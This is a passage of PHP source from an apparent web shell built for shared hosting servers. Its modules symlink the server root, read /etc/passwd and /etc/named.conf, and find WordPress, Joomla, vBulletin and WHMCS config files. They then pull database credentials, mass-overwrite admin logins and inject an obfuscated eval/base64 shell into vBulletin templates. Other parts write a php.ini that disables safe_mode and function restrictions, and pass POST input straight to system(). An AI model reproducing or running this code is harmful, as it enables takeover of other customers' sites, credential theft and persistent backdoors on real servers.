3923 "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
3924
3925$c = strlen($encoder_input);
3926
3927for($i=0;$i<$c;$i++) {
3928
3929 $hex = dechex(ord($encoder_input[$i]));
3930
3931 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
3932
3933 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
3934
3935}
3936
3937echo "\" readonly></td></tr><tr><td>Online md5 , sha1 , mysql password cracker<td><a href=\"http://passcracking.com\" target=_blank>Enter</a></td></tr></table></center></form>";
3938
3939}
3940
3941if ($x == "fsbuff") {
3942
3943 $arr_copy = $sess_data["copy"];
3944
3945 $arr_cut = $sess_data["cut"];
3946
3947 $arr = array_merge($arr_copy,$arr_cut);
3948
3949 if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
3950
3951 else {
3952
3953 $fx_infohead = "File-System Buffer";
3954
3955 $ls_arr = $arr;
3956
3957 $disp_fullpath = TRUE;
3958
3959 $x = "ls";
3960
3961 }
3962
3963}
3964
3965$me=$_SERVER["PHP_SELF"];
3966
3967if ($x == "symlink") {
3968
3969echo $head.'
3970
3971<form method=post action="'.$me.'">
3972
3973<p align="center">
3974
3975SymLink With PHP<br><input name=ad1syp size=50> TO <input value="'.$dispd."hasil.txt".'" name=ad2syp size=50><br><input type=submit value=SymLink!><hr><p align="center"></form>
3976
3977<form method=post action="'.$me.'"><p align="center">
3978
3979
3980
3981SymLink With OS : <br><input name=ad1syc size=50> TO <input value="'.$dispd."hasil.txt".'" name=ad2syc size=50><br><input type=submit value=SymLink!>
3982
3983</p></form>'.$end;}
3984
3985
3986if ($_POST['ad1syp'] && $_POST['ad2syp']){
3987
3988if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){
3989
3990print ("Proses Worked !");
3991
3992}else{
3993
3994print ("Proses Not Worked !");
3995
3996}}
3997
3998if ($_POST['ad1syc'] && $_POST['ad2syc']){
3999
4000if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){
4001
4002print ("Proses Worked !");
4003
4004}else{print ("Proses Not Worked !");}
4005
4006}
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016if ($x == "sysec") {
4017echo $head;
4018/// Domains + Scripts ///
4019
4020
4021if(!@is_file('named.txt')){
4022
4023$d00m = @file("/etc/named.conf");
4024
4025}else{
4026
4027$d00m = @file("named.txt");
4028
4029
4030}
4031if(!$d00m)
4032{
4033
4034 die ("<meta http-equiv='refresh' content='0; url=?x=syread'/>");
4035}
4036else
4037
4038{
4039echo "
4040<table align='center' width='40%'><td> Domains </td><td> Script </td>";
4041foreach($d00m as $dom){
4042
4043flush();
4044flush();
4045
4046
4047
4048if(eregi("zone",$dom)){
4049
4050@preg_match_all('#zone "(.*)"#', $dom, $domsws);
4051
4052flush();
4053
4054if(@strlen(trim($domsws[1][0])) > 2){
4055
4056$user = @posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
4057
4058///////////////////////////////////////////////////////////////////////////////////
4059
4060$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
4061$wpp=@get_headers($wpl);
4062$wp=$wpp[0];
4063
4064$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
4065$wpp2=@get_headers($wp2);
4066$wp12=$wpp2[0];
4067
4068///////////////////////////////
4069
4070$jo1=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
4071$joo=@get_headers($jo1);
4072$jo=$joo[0];
4073
4074
4075$jo2=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
4076$joo2=@get_headers($jo2);
4077$jo12=$joo2[0];
4078
4079////////////////////////////////
4080
4081$vb1=$pageURL."/sym/root/home/".$user['name']."/public_html/includes/config.php";
4082$vbb=@get_headers($vb1);
4083$vb=$vbb[0];
4084
4085$vb2=$pageURL."/sym/root/home/".$user['name']."/public_html/vb/includes/config.php";
4086$vbb2=@get_headers($vb2);
4087$vb12=$vbb2[0];
4088
4089$vb3=$pageURL."/sym/root/home/".$user['name']."/public_html/forum/includes/config.php";
4090$vbb3=@get_headers($vb3);
4091$vb13=$vbb3[0];
4092
4093/////////////////
4094
4095$wh1=$pageURL."/sym/root/home/".$user['name']."public_html/clients/configuration.php";
4096$whh2= @get_headers($wh1);
4097$wh=$whh2[0];
4098
4099$wh2=$pageURL."/sym/root/home/".$user['name']."/public_html/support/configuration.php";
4100$whh2= @get_headers($wh2);
4101$wh12=$whh2[0];
4102
4103$wh3=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
4104$whh3= @get_headers($wh3);
4105$wh13=$whh3[0];
4106
4107$wh5=$pageURL."/sym/root/home/".$user['name']."/public_html/submitticket.php";
4108$whh5= @get_headers($wh5);
4109$wh15=$whh5[0];
4110
4111$wh4=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
4112$whh4= @get_headers($wh4);
4113$wh14=$whh4[0];
4114
4115
4116
4117////////////////////////////////////////////////////////////////////////////////
4118
4119 ////////// Wordpress ////////////
4120
4121$pos = strpos($wp, "200");
4122$config=" ";
4123
4124if (strpos($wp, "200") == true )
4125{
4126 $config="<a href='".$wpl."' target='_blank'>Wordpress</a>";
4127}
4128elseif (strpos($wp12, "200") == true)
4129{
4130 $config="<a href='".$wp2."' target='_blank'>Wordpress</a>";
4131}
4132
4133///////////WHMCS////////
4134
4135elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true )
4136{
4137 $config=" <a href='".$wh5."' target='_blank'>WHMCS</a>";
4138
4139}
4140elseif (strpos($wh12, "200") == true)
4141{
4142 $config =" <a href='".$wh2."' target='_blank'>WHMCS</a>";
4143}
4144
4145elseif (strpos($wh13, "200") == true)
4146{
4147 $config =" <a href='".$wh3."' target='_blank'>WHMCS</a>";
4148
4149}
4150
4151///////// Joomla to 4 ///////////
4152
4153elseif (strpos($jo, "200") == true)
4154{
4155 $config=" <a href='".$jo1."' target='_blank'>Joomla</a>";
4156}
4157
4158elseif (strpos($jo12, "200") == true)
4159{
4160 $config=" <a href='".$jo2."' target='_blank'>Joomla</a>";
4161}
4162
4163//////////vBulletin to 4 ///////////
4164
4165elseif (strpos($vb, "200") == true)
4166{
4167 $config=" <a href='".$vb1."' target='_blank'>vBulletin</a>";
4168}
4169
4170elseif (strpos($vb12, "200") == true)
4171{
4172 $config=" <a href='".$vb2."' target='_blank'>vBulletin</a>";
4173}
4174
4175elseif (strpos($vb13, "200") == true)
4176{
4177 $config=" <a href='".$vb3."' target='_blank'>vBulletin</a>";
4178}
4179
4180else
4181{
4182 continue;
4183}
4184flush();
4185flush();
4186
4187/////////////////////////////////////////////////////////////////////////////////////
4188
4189
4190
4191$site = $user['name'] ;
4192
4193
4194
4195flush();
4196
4197echo "<tr><td><a href=http://www.".$domsws[1][0]."/>".$domsws[1][0]."</a></td>
4198<td>".$config."</td></tr>"; flush();
4199
4200}
4201}
4202}
4203}
4204$end;}
4205
4206
4207
4208
4209/// user + domine + symlink ///
4210if ($x == "sysym") {
4211echo $head;
4212
4213if(!is_file('named.txt')){
4214
4215$d00m = @file("/etc/named.conf");
4216
4217}else{
4218
4219$d00m = @file("named.txt");
4220
4221
4222}
4223if(!$d00m)
4224{
4225
4226 die ("<meta http-equiv='refresh' content='0; url=?x=syread'/>");
4227}
4228else
4229
4230{
4231echo "<table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
4232foreach($d00m as $dom){
4233
4234if(eregi("zone",$dom)){
4235
4236preg_match_all('#zone "(.*)"#', $dom, $domsws);
4237
4238flush();
4239
4240if(strlen(trim($domsws[1][0])) > 2){
4241
4242$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
4243
4244flush();
4245
4246
4247
4248$site = $user['name'] ;
4249
4250
4251@symlink("/","sym/root");
4252
4253$site = $domsws[1][0];
4254
4255$ir = 'ir';
4256
4257$il = 'il';
4258
4259if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) )
4260{
4261$site = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$domsws[1][0]."</div>";
4262}
4263
4264
4265echo "
4266<tr>
4267
4268<td>
4269<div class='dom'><a target='_blank' href=http://www.".$domsws[1][0]."/>".$site." </a> </div>
4270</td>
4271
4272
4273<td>
4274".$user['name']."
4275</td>
4276
4277
4278
4279
4280
4281
4282<td>
4283<a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a>
4284</td>
4285
4286
4287</tr></div> ";
4288
4289
4290flush();
4291flush();
4292
4293}
4294}
4295}
4296}
4297$end;}
4298
4299
4300/// file symlink ///
4301
4302if ($x == "syfile") {
4303echo $head;
4304
4305echo'
4306The file path to symlink
4307
4308<br /><br />
4309<form method="post">
4310<input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
4311<input type="text" name="symfile" value="file.name_sym ( Ex. :: royaliste.txt )" size="60"/><br /><br />
4312<input type="submit" value="symlink" name="symlink" /> <br /><br />
4313
4314
4315
4316</form>
4317';
4318
4319$pfile = $_POST['file'];
4320$symfile = $_POST['symfile'];
4321$symlink = $_POST['symlink'];
4322
4323if ($symlink)
4324{
4325
4326
4327@mkdir('sym1',0777);
4328$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
4329$f =@fopen ('sym1/.htaccess','w');
4330@fwrite($f , $c);
4331
4332@symlink("$pfile","sym1/$symfile");
4333
4334echo '<br /><a target="_blank" href="sym1/'.$symfile.'" >'.$symfile.'</a>';
4335
4336}
4337$end;}
4338
4339
4340
4341/// bypass read
4342if ($x == "syread") {
4343echo $head;
4344
4345
4346echo "read /etc/named.conf";
4347echo "<br /><br /><form method='post' action='?x=syread&save=1'><textarea cols='80' rows='20' name='file'>";
4348flush();
4349flush();
4350
4351
4352$file = '/etc/named.conf';
4353
4354
4355$r3ad = @fopen($file, 'r');
4356if ($r3ad){
4357$content = @fread($r3ad, @filesize($file));
4358echo "".htmlentities($content)."";
4359}
4360else if (!$r3ad)
4361{
4362$r3ad = @show_source($file) ;
4363}
4364else if (!$r3ad)
4365{
4366$r3ad = @highlight_file($file);
4367}
4368else if (!$r3ad)
4369{
4370$sm = @symlink($file,'sym.txt');
4371
4372
4373if ($sm){
4374$r3ad = @fopen('sym/sym.txt', 'r');
4375$content = @fread($r3ad, @filesize($file));
4376echo "".htmlentities($content)."";
4377
4378}
4379}
4380
4381
4382
4383echo "</textarea><br /><br /><input type='submit' value='Save'/> </form>";
4384
4385
4386if(isset($_GET['save'])){
4387
4388
4389$cont = stripcslashes($_POST['file']);
4390
4391$f = fopen('named.txt','w');
4392
4393$w = fwrite($f,$cont);
4394
4395 if($w){
4396
4397 echo '<br />save has been successfully';
4398
4399 }
4400
4401fclose($f);
4402
4403
4404
4405
4406}
4407$end;}
4408
4409
4410
4411// passwd
4412if ($x == "sypasswd") {
4413echo $head;
4414
4415if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){
4416
4417
4418$cont = stripcslashes($_POST['file']);
4419
4420if(!file_exists('passwd.txt')){
4421
4422$f = @fopen('passwd.txt','w');
4423
4424$w = @fwrite($f,$cont);
4425
4426fclose($f);
4427}
4428if($w or @filesize('passwd.txt') > 0){
4429// * SHOW * //
4430
4431echo "<table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
4432flush();
4433
4434$fil3 = file('passwd.txt');
4435
4436foreach ($fil3 as $f){
4437
4438 $u=explode(':', $f);
4439 $user = $u['0'];
4440
4441
4442
4443echo "
4444<tr>
4445
4446
4447
4448<td width='15%'>
4449$user
4450</td>
4451<td width='10%'>
4452<a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a>
4453</td>
4454
4455<td width='10%'>
4456<a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a>
4457</td>
4458
4459</tr></div> ";
4460
4461flush();
4462flush();
4463
4464}
4465
4466die ("</tr></div>");
4467
4468
4469 }
4470
4471}
4472
4473
4474
4475echo "read /etc/passwd";
4476echo "<br /><br /><form method='post' action='?x=sypasswd&save=1'><textarea cols='80' rows='20' name='file'>";
4477flush();
4478
4479$file = '/etc/passwd';
4480
4481
4482$r3ad = @fopen($file, 'r');
4483if ($r3ad){
4484$content = @fread($r3ad, @filesize($file));
4485echo "".htmlentities($content)."";
4486}
4487elseif(!$r3ad)
4488{
4489$r3ad = @show_source($file) ;
4490}
4491elseif(!$r3ad)
4492{
4493$r3ad = @highlight_file($file);
4494}
4495elseif(!$r3ad)
4496{
4497
4498 for($uid=0;$uid<1000;$uid++){
4499 $ara = posix_getpwuid($uid);
4500 if (!empty($ara)) {
4501 while (list ($key, $val) = each($ara)){
4502 print "$val:";
4503 }
4504 print "\n";
4505 }
4506
4507 }
4508
4509 }
4510
4511
4512flush();
4513
4514
4515echo "</textarea><br /><br /><input type='submit' value=' symlink '/> </form>";
4516flush();
4517
4518$end;}
4519
4520
4521if ($x == "syjoomla") {
4522echo $head;
4523
4524
4525/////////////////////////////////////////////////////////////////// xxxxxxxxxxxxxxxxxxx ////////////////////////////
4526
4527
4528if(isset($_POST['s'])){
4529
4530$file = @file_get_contents('joomla.txt');
4531
4532$ex = explode("\n",$file);
4533
4534echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
4535flush();
4536
4537
4538foreach ($ex as $exp){
4539
4540$es = explode("||",$exp);
4541
4542$config = $es[0];
4543
4544$domin = $es[1];
4545
4546$domins = trim($domin).'';
4547
4548$readconfig = @file_get_contents(trim($config));
4549
4550if(ereg('JConfig',$readconfig)){
4551
4552
4553
4554$pass = ex($readconfig,'$password = \'',"';");
4555
4556$userdb = ex($readconfig,'$user = \'',"';");
4557
4558$db = ex($readconfig,'$db = \'',"';");
4559
4560$fix = ex($readconfig,'$dbprefix = \'',"';");
4561
4562$tab = $fix.'users';
4563
4564
4565$con = @mysql_connect('localhost',$userdb,$pass);
4566
4567$db = @mysql_select_db($db,$con);
4568
4569$query = @mysql_query("UPDATE `$tab` SET `username` ='xr0b0t'");
4570
4571
4572$query3 = @mysql_query("UPDATE `$tab` SET `password` ='MD5(xr0b0t)'");
4573
4574
4575if ($query and $query3 ){$r = '<b style="color: #006600">Succeed </b>user [sec-w.com] pass [1]</b>';}else{$r = '<b style="color:red">failed</b>';}
4576
4577$domins = trim($domin).'';
4578
4579echo "<tr>
4580<td><a target='_blank' href='http://$domins'>$domin</a></td>
4581<td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";
4582flush();
4583
4584
4585
4586}else{
4587
4588echo "<tr>
4589<td><a target='_blank' href='http://$domins'>$domin</a></td>
4590<td><a target='_blank' href='http://$exp'>config</a></td><td><b style='color:red'>failed</b></td></tr>";
4591flush();
4592
4593}
4594
4595}
4596
4597die();
4598
4599}
4600
4601if(!is_file('named.txt')){
4602
4603$d00m = @file("/etc/named.conf");
4604
4605flush();
4606
4607
4608}else{
4609
4610$d00m = file("named.txt");
4611
4612
4613}
4614if(!$d00m)
4615{
4616
4617 die ("<meta http-equiv='refresh' content='0; url=?x=syread'/>");
4618}
4619else
4620
4621{
4622echo "<div class='tmp'>
4623<form method='POST' action='$pg?x=syjoomla'>
4624<input type='submit' value='Mass ching Admin' />
4625<input type='hidden' value='1' name='s' />
4626</form><br /><br />
4627<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
4628
4629$f = fopen('joomla.txt','w');
4630
4631foreach($d00m as $dom){
4632
4633if(eregi("zone",$dom)){
4634
4635preg_match_all('#zone "(.*)"#', $dom, $domsws);
4636
4637if(strlen(trim($domsws[1][0])) > 2){
4638
4639$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
4640
4641///////////////////////////////////////////////////////////////////////////////////
4642
4643$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
4644$wpp=get_headers($wpl);
4645$wp=$wpp[0];
4646
4647$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/configuration.php";
4648$wpp2=get_headers($wp2);
4649$wp12=$wpp2[0];
4650
4651$wp3=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
4652$wpp3=get_headers($wp3);
4653$wp13=$wpp3[0];
4654
4655
4656 ////////// joomla ////////////
4657
4658$pos = strpos($wp, "200");
4659$config=" ";
4660
4661if (strpos($wp, "200") == true )
4662{
4663 $config= $wpl;
4664}
4665elseif (strpos($wp12, "200") == true)
4666{
4667 $config= $wp2;
4668}
4669elseif (strpos($wp13, "200") == true)
4670{
4671 $config= $wp3;
4672}
4673else
4674{
4675continue;
4676
4677}
4678flush();
4679
4680/////////////////////////////////////////////////////////////////////////////////////
4681
4682$dom = $domsws[1][0];
4683
4684$w = fwrite($f,"$config||$dom \n");
4685if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
4686
4687
4688echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
4689<td><a href='$config'>config</a></td><td>".$r."</td></tr>";
4690
4691
4692
4693
4694
4695flush();
4696
4697
4698}
4699}
4700}
4701}
4702
4703$end;}
4704
4705
4706if ($x == "sywp") {
4707
4708echo $head;
4709############################ index #########################3
4710
4711
4712
4713
4714
4715
4716######## admin ##########33
4717
4718if(isset($_POST['s'])){
4719
4720$file = @file_get_contents('wp.txt');
4721
4722$ex = explode("\n",$file);
4723
4724echo "<table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
4725flush();
4726flush();
4727
4728
4729foreach ($ex as $exp){
4730
4731$es = explode("||",$exp);
4732
4733$config = $es[0];
4734
4735$domin = $es[1];
4736
4737$domins = trim($domin).'';
4738
4739$readconfig = @file_get_contents(trim($config));
4740
4741if(ereg('wp-settings.php',$readconfig)){
4742
4743
4744
4745$pass = ex($readconfig,"define('DB_PASSWORD', '","');");
4746
4747$userdb = ex($readconfig,"define('DB_USER', '","');");
4748
4749$db = ex($readconfig,"define('DB_NAME', '","');");
4750
4751$fix = ex($readconfig,'$table_prefix = \'',"';");
4752
4753$tab = $fix.'users';
4754
4755$con = @mysql_connect('localhost',$userdb,$pass);
4756
4757$db = @mysql_select_db($db,$con);
4758
4759$query = @mysql_query("UPDATE `$tab` SET `user_login` ='xr0b0t'") or die;
4760
4761$query = @mysql_query("UPDATE `$tab` SET `user_pass` ='$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;
4762
4763
4764
4765if ($query){$r = '<b style="color: #006600">Succeed </b>user [sec-w.com] pass [1]</b>';}
4766
4767else
4768
4769{
4770
4771$r = '<b style="color:red">failed</b>';
4772
4773}
4774
4775$domins = trim($domin).'';
4776
4777echo "<tr>
4778<td><a target='_blank' href='http://$domins'>$domin</a></td>
4779<td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";
4780
4781flush();
4782flush();
4783
4784
4785
4786
4787
4788
4789}else{
4790
4791echo "<tr>
4792<td><a target='_blank' href='http://$domins'>$domin</a></td>
4793<td><a target='_blank' href='http://$config'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
4794
4795flush();
4796flush();
4797
4798}
4799
4800}
4801
4802
4803
4804
4805
4806
4807
4808
4809
4810
4811die();
4812
4813}
4814
4815if(!is_file('named.txt')){
4816
4817$d00m = @file("/etc/named.conf");
4818
4819}else{
4820
4821$d00m = @file("named.txt");
4822
4823
4824}
4825if(!$d00m)
4826{
4827
4828 die ("<meta http-equiv='refresh' content='0; url=?x=syread'/>");
4829}
4830else
4831
4832{
4833echo "<div class='tmp'>
4834<form method='POST' action='$pg?x=sywp'>
4835<input type='submit' value='Mass Change Admin' />
4836<input type='hidden' value='1' name='s' />
4837</form>
4838<br /><br />
4839<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
4840
4841flush();
4842flush();
4843
4844$f = fopen('wp.txt','w');
4845
4846foreach($d00m as $dom){
4847
4848if(eregi("zone",$dom)){
4849
4850preg_match_all('#zone "(.*)"#', $dom, $domsws);
4851
4852if(strlen(trim($domsws[1][0])) > 2){
4853
4854$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
4855
4856///////////////////////////////////////////////////////////////////////////////////
4857
4858$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
4859$wpp=get_headers($wpl);
4860$wp=$wpp[0];
4861
4862$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
4863$wpp2=get_headers($wp2);
4864$wp12=$wpp2[0];
4865
4866$wp3=$pageURL."/sym/root/home/".$user['name']."/public_html/wp/wp-config";
4867$wpp3=get_headers($wp3);
4868$wp13=$wpp3[0];
4869
4870
4871 ////////// wp ////////////
4872
4873$pos = strpos($wp, "200");
4874$config=" ";
4875
4876if (strpos($wp, "200") == true )
4877{
4878 $config= $wpl;
4879}
4880elseif (strpos($wp12, "200") == true)
4881{
4882 $config= $wp2;
4883}
4884elseif (strpos($wp13, "200") == true)
4885{
4886 $config= $wp3;
4887}
4888else
4889{
4890continue;
4891
4892}
4893flush();
4894
4895/////////////////////////////////////////////////////////////////////////////////////
4896
4897$dom = $domsws[1][0];
4898
4899$w = fwrite($f,"$config||$dom \n");
4900if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
4901
4902
4903echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
4904<td><a href='$config'>config</a></td><td>".$r."</td></tr>";
4905flush();
4906flush();
4907
4908
4909
4910
4911
4912flush();
4913
4914
4915}
4916}
4917}
4918}
4919$end;}
4920
4921if ($x == "syvb") {
4922
4923
4924echo $head;
4925
4926if(isset($_POST['s'])){
4927
4928
4929
4930$file = @file_get_contents('vb.txt');
4931
4932$ex = explode("\n",$file);
4933
4934echo "<table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
4935
4936
4937foreach ($ex as $exp){
4938
4939$es = explode("||",$exp);
4940
4941$config = $es[0];
4942
4943$domin = $es[1];
4944
4945$domins = trim($domin).'';
4946
4947$readconfig = @file_get_contents(trim($config));
4948
4949if(ereg('vBulletin',$readconfig)){
4950
4951
4952
4953$db = ex($readconfig,'$config[\'Database\'][\'dbname\'] = \'',"';");
4954
4955$userdb = ex($readconfig,'$config[\'MasterServer\'][\'username\'] = \'',"';");
4956
4957$pass = ex($readconfig,'$config[\'MasterServer\'][\'password\'] = \'',"';");
4958
4959$con = @mysql_connect('localhost',$userdb,$pass);
4960
4961$db = @mysql_select_db($db,$con);
4962
4963$shell = "bVBda8MgFP0rN1Kwga3Ny55as72sMBhskA0GIQRjDBE0StRBN/rfF2MzCu2DcL3n63I46zXgfZN/jVmTuX0z5uHhjelN7Qeq+Drd4Hm9bXK8Ax4FnR4VUOaEHghCoLjrdUuQ0dYh4ANzR8MJUl46YejotoF/31JHEQRTgryRmrZ8RCDai99FhBiMdxCNOiH5ooyzFT/T/JCh/EyMYD05obPI+kYJFwPi/ptKPwGfc9qknM8KkaJbw6p+fys+ShyouAJCYCFCCr+B8sS0Oa5X9eHl9bkocTgEVyV2ytQhHVd3cAVGIA0OfOk62kLhGePWQpIkodz/7ndwAi4tvyE5UCFv8k/wmP8B" ;
4964
4965$crypt = "{\${eval(gzinflate(base64_decode(\'";
4966
4967$crypt .= "$shell";
4968
4969$crypt .= "\')))}}{\${exit()}}</textarea>";
4970
4971$sqlfaq = "UPDATE template SET template ='".$crypt."' WHERE title ='FAQ'" ;
4972
4973$query = @mysql_query($sqlfaq,$con);
4974
4975
4976
4977if ($query){$r = '<b style="color: #006600">Succeed</b> shell in search.php';}
4978
4979else
4980
4981{
4982
4983$r = '<b style="color:red">failed</b>';
4984
4985}
4986
4987$domins = trim($domin).'';
4988
4989echo "<tr>
4990<td><a target='_blank' href='http://$domins'>$domin</a></td>
4991<td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";
4992
4993
4994
4995
4996
4997
4998
4999}else{
5000
5001echo "<tr>
5002<td><a target='_blank' href='http://$domins'>$domin</a></td>
5003<td><a target='_blank' href='http://$config'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
5004}
5005
5006}
5007
5008
5009
5010
5011
5012
5013
5014
5015
5016
5017die();
5018
5019}
5020
5021if(!is_file('named.txt')){
5022
5023$d00m = file("/etc/named.conf");
5024
5025}else{
5026
5027$d00m = file("named.txt");
5028
5029
5030}
5031if(!$d00m)
5032{
5033
5034 die ("<meta http-equiv='refresh' content='0; url=?x=syread'/>");
5035}
5036else
5037
5038{
5039echo "<div class='tmp'>
5040<form method='POST' action='$pg?x=syvb'>
5041<input type='submit' value='Inject shell' />
5042<input type='hidden' value='1' name='s' />
5043</form>
5044<br /><br />
5045<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
5046
5047$f = fopen('vb.txt','w');
5048
5049foreach($d00m as $dom){
5050
5051if(eregi("zone",$dom)){
5052
5053preg_match_all('#zone "(.*)"#', $dom, $domsws);
5054
5055if(strlen(trim($domsws[1][0])) > 2){
5056
5057$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
5058
5059///////////////////////////////////////////////////////////////////////////////////
5060
5061$wpl=$pageURL."/sym/root/home/".$user['name']."/includes/config.php";
5062$wpp=get_headers($wpl);
5063$wp=$wpp[0];
5064
5065$wp2=$pageURL."/sym/root/home/".$user['name']."/vb/includes/config.php";
5066$wpp2=get_headers($wp2);
5067$wp12=$wpp2[0];
5068
5069$wp3=$pageURL."/sym/root/home/".$user['name']."/forum/includes/config.php";
5070$wpp3=get_headers($wp3);
5071$wp13=$wpp3[0];
5072
5073
5074 ////////// vb ////////////
5075
5076$pos = strpos($wp, "200");
5077$config=" ";
5078
5079if (strpos($wp, "200") == true )
5080{
5081 $config= $wpl;
5082}
5083elseif (strpos($wp12, "200") == true)
5084{
5085 $config= $wp2;
5086}
5087elseif (strpos($wp13, "200") == true)
5088{
5089 $config= $wp3;
5090}
5091else
5092{
5093continue;
5094
5095}
5096flush();
5097
5098/////////////////////////////////////////////////////////////////////////////////////
5099
5100$dom = $domsws[1][0];
5101
5102$w = fwrite($f,"$config||$dom \n");
5103if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
5104
5105
5106echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
5107<td><a href='$config'>config</a></td><td>".$r."</td></tr>";
5108
5109
5110
5111
5112
5113flush();
5114
5115
5116}
5117}
5118}
5119}
5120$end;}
5121
5122if ($x == "helpme") {
5123
5124echo $head ;
5125
5126echo "
5127<table align='center' width='40%'><td>function</td><td>Case</td>";
5128
5129
5130$safe_mode = ini_get('safe_mode');
5131 if($safe_mode){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
5132
5133echo "<tr><td>Safe Mode</td><td>$r</td>";
5134
5135$fun = function_exists('symlink');
5136 if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
5137
5138echo "<tr><td>function symlink</td><td>$r</td>";
5139
5140
5141$fun = function_exists('file');
5142 if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
5143
5144echo "<tr><td>function file</td><td>$r</td>";
5145
5146$fun = function_exists('file_get_contents');
5147 if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
5148
5149echo "<tr><td>function file_get_contents</td><td>$r</td>";
5150
5151$fun = function_exists('mkdir');
5152 if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
5153
5154echo "<tr><td>function mkdir</td><td>$r</td>";
5155
5156
5157$fun = is_dir('sym/root');
5158 if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
5159
5160echo "<tr><td>Permission denied</td><td>$r</td>";
5161
5162
5163$fun = preg_match('/Forbidden/',@file_get_contents('sym/root') or !@file_get_contents('sym/root'));
5164 if($fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #006600'>True</b>";}
5165
5166echo "<tr><td>Forbidden</td><td>$r</td>";
5167
5168
5169
5170
5171echo "</table></div>";
5172
5173
5174
5175
5176
5177$end;}
5178if ($x == "serv") {
5179echo $head ;
5180
5181$byps = "safe_mode=OFF \n disable_functions=NONE";
5182$f =@fopen ('php.ini','w');
5183fwrite($f , $byps);
5184echo 'Silakan Di Cek mas brooo !!!! <a href ="'.$surl.'"/>HOME</a>'.
5185
5186
5187$end;
5188}
5189
5190
5191
5192
5193
5194
5195if ($x == "search") {
5196
5197 echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
5198
5199 if (empty($search_in)) {$search_in = $d;}
5200
5201 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
5202
5203 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
5204
5205 if (!empty($submit)) {
5206
5207 $found = array();
5208
5209 $found_d = 0;
5210
5211 $found_f = 0;
5212
5213 $search_i_f = 0;
5214
5215 $search_i_d = 0;
5216
5217 $a = array(
5218
5219 "name"=>$search_name,
5220
5221 "name_regexp"=>$search_name_regexp,
5222
5223 "text"=>$search_text,
5224
5225 "text_regexp"=>$search_text_regxp,
5226
5227 "text_wwo"=>$search_text_wwo,
5228
5229 "text_cs"=>$search_text_cs,
5230
5231 "text_not"=>$search_text_not
5232
5233 );
5234
5235 $searchtime = getmicrotime();
